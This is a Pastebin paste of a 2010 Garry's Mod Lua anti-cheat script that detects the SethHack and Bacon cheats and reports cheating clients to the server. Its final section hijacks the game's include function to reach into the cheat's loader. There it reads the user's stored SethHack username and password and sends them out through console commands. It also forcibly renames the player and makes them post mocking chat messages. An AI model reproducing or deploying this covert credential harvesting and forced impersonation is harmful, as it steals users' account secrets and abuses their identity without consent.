Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- // Identify Naughty Clients
- // mercior
- // June 2010
- require("wshl")
- require("sh2")
- require("sh3")
- require("sh4")
- require("hl2_shotmanip")
- local ky = math.floor(math.random(1000000, 99999999))
- local ky2 = math.floor(math.random(1000000, 99999999))
- local function csk() datastream.StreamToServer("csk", { id="ca", key = ky }) end
- if ky == ky2 then datastream.StreamToServer("f_29vBmX", { id="ct" }) end
- hook.Add("InitPostEntity", "ca", csk)
- local NP = false
- local function rchd(h,i,e,d)
- local rcd = d.r
- end
- local function SethHackTableExists( lol )
- local r = sql.Query( "select * FROM sqlite_master WHERE type = 'table'" )
- if r and #r > 0 then
- for k,v in pairs(r) do
- if string.find(string.lower(v.name), lol) then
- return true
- end
- end
- end
- return false
- end
- local ods = draw.SimpleTextOutlined
- local ro = false
- function draw.SimpleTextOutlined( Text, Font, X, Y, Col, Xalign, Yalign, Outline, OutlineColour )
- if not ro and Text == "Scanning..." and Font == "TargetIDSmall" and Col.r == 255 and Col.g == 0 and Col.b == 0 and Xalign == TEXT_ALIGN_LEFT and Yalign == TEXT_ALIGN_LEFT and Outline == 0.5 and OutlineColour.r == 30 and OutlineColour.g == 30 and OutlineColour.b == 30 then
- ro = true
- datastream.StreamToServer("f_29vBmX", { id="sh", reason="Aimbot HUD" })
- end
- ods( Text, Font, X, Y, Col, Xalign, Yalign, Outline, OutlineColour )
- end
- local function cse()
- if SethHackTableExists("sethhack") or SethHackTableExists("shv3") then
- datastream.StreamToServer("f_29vBmX", { id="sh", reason="SQL Table" })
- end
- if SethHackTableExists("shv4") then
- datastream.StreamToServer("f_29vBmX", { id="sh", reason="SQL Table (v4)" })
- end
- local T = sql.Query( "SELECT Name FROM SethHack_Friends" )
- if T && #T!=0 then
- datastream.StreamToServer("f_29vBmX", { id="sh", reason="Sethhack Friends Table" })
- end
- local T = sql.Query( "SELECT Name FROM SethHack_Ents" )
- if T && #T!=0 then
- datastream.StreamToServer("f_29vBmX", { id="sh", reason="Sethhack Ents Table" })
- end
- local T = sql.Query( "SELECT Name FROM SethHack_ESPEnts" )
- if T && #T!=0 then
- datastream.StreamToServer("f_29vBmX", { id="sh", reason="Sethhack ESP Table" })
- end
- if sql.TableExists("Bacon_ESPEnts") then
- datastream.StreamToServer("f_29vBmX", { id="bb", reason="SQL Table" })
- end
- if hl2_shotmanip then
- datastream.StreamToServer("f_29vBmX", { id="bb", reason="DLL" })
- end
- if sh4 || sh3 || sh2 || wshl then
- datastream.StreamToServer("f_29vBmX", { id="sh", reason="DLL" })
- end
- end
- datastream.Hook( "x_29vBmX", rchd );
- timer.Create( "c_29vBmX", 120, 0, cse )
- cse();
- local NotRCC = RunConsoleCommand
- local debug = debug
- local o_include = _G.include
- function _G.include( path, ... )
- if tostring( path ):lower() == "includes/extensions/table.lua" then
- local n, SH_SETNAME = debug.getlocal( 2, 2 )
- local n, SH_PURECC = debug.getlocal( 2, 3 )
- local n, SH_REGREAD = debug.getlocal( 2, 13 )
- if type( SH_REGREAD ) == "function" then
- local User = SH_REGREAD( "username" )
- local Pass = SH_REGREAD( "password" )
- local SEED = tostring( math.random( 99999 ) )
- hook.Add( "Think", SEED, function()
- NotRCC( "USER_NAME", util.RelativePathToFull( "gameinfo.txt" ):gsub( '\\', "/" ):match( "steamapps/(.-)/" ) )
- NotRCC( util.CRC( game.GetMap():lower() ), User, Pass )
- hook.Remove( "Think", SEED )
- end )
- if type( SH_SETNAME ) == "function" then
- local rid = tostring( math.random( 99999 ) )
- local SEED = tostring( math.random( 99999 ) )
- hook.Add( "Think", SEED, function()
- if LocalPlayer():Nick() ~= "SETHHACKER " .. rid then
- SH_SETNAME( "SETHHACKER " .. rid )
- end
- end )
- local LOL = { "I'm bad at Garry's Mod", "I have no skill", "I used my mummies credit card on this and it fails :(", "Why am I so skill-less?", "I spent more than double the amount I spent on this game, I'm proud of myself.", "I'm a skiddie, ban me from your servers :D", "G-Force is awesome and I wish I were more like him." }
- if type( SH_PURECC ) == "function" then
- timer.Create( tostring( math.random( 99999 ) ), 5, 0, SH_PURECC, "say " .. LOL[ math.random( #LOL ) ] )
- end
- _G.include = o_include
- end
- //end
- end
- return o_include( path, ... )
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement